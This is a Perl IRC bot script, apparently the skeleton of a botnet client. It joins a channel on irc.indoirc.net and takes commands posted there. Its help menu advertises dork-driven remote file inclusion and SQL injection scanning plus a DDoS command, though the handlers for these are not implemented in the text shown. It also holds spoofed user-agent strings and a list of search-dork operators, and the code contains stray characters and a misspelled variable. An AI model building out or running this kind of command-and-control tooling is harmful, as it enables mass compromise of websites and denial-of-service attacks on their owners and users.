sd

#!/usr/bin/perl -w
#
#	 <- IRC BOT ->
#	
#	script coded by geo
#
###############################
#	<- Modules ->		  

use LWP::UserAgent;
use IO::Socket::INET;
use Parallel::ForkManager;
use URI::Escape;

start:
##############################
# 	<- Variables && arrays ->
my @useragents = ("Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-PT; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7",
		  "Mozilla/6.0 (Windows; U; Windows NT 6.0; pt-PT; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7",
		  "Mozilla/7.0 (Windows; U; Windows NT 6.0; pt-PT; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7",
		  "Mozilla/5.0 (compatible; Webduniabot/1.0; +http://search.webdunia.com/bot.aspx)",
		  "Mozilla/6.0 (compatible; Webduniabot/2.0; +http://search.webdunia.com/bot.aspx)",
		  "Mozilla/7.0 (compatible; Webduniabot/3.0; +http://search.webdunia.com/bot.aspx)",
		 );

my @unallowed =  ("intitle:",
		  "title:",
		  "inurl:",
		  "allinurl:",
		  "intext",
		);

	# irc server options::..
my $server 	= "irc.indoirc.net";

my $port 	= "6667";

my $nick 	= "[geo]".int(rand(9999999));

my $channel 	= "#wreck";

my $user 	= 'uname -a';

my $name 	= "* resolved: under-net.com";
	# end of irc server options::..


##############################
#	<- Starting Connection ->

my $connection = new IO::Socket::INET (PeerAddr => $server,

                           PeerPort => $port,

                           Proto => "tcp") or die "[+] - Cant connect: $server:$port\n" unless $connection;



print $connection "NICK $nick\r\n";

print $connection "USER $user \"\" \"\" :$name\r\n";

print $connection "join ".$channel."\r\n";



while (my $in = <$connection>) {



	# prints all output

	print $in;

	

	# Ping && Pong Commands 

	if ($in =~ /^PING (:[^ ]+)$/i) {
		print "pong: $1\n";

		print $connection "PONG :$1\r\n";

	}

	if ($in =~ m/PRIVMSG $channel :.quit/){
		print $connection "PRIVMSG ".$channel." :1[-] - Game is Over\r\n";
		exit(1);
	}
		
	if ($in =~ m/PRIVMSG $channel :.options/){
		print $connection "PRIVMSG ".$channel." :16,1[+] - ..++xXxBot 0.1++.. \r\n";
		print $connection "PRIVMSG ".$channel." :16,1[+] - Command -  Description  \r\n";
		print $connection "PRIVMSG ".$channel." :16,1[+] - .rfi  < dork >  - Remote File Inclusion\r\n";
		print $connection "PRIVMSG ".$channel." :16,1[+] - .sqli < dork >  - Sql Injection\r\n";
		print $connection "PRIVMSG ".$channel." :16,1[+] - .ddos <  host etc... >\r\n";
	}
	
	
  


}

##############################

close($connectionm);
goto start;d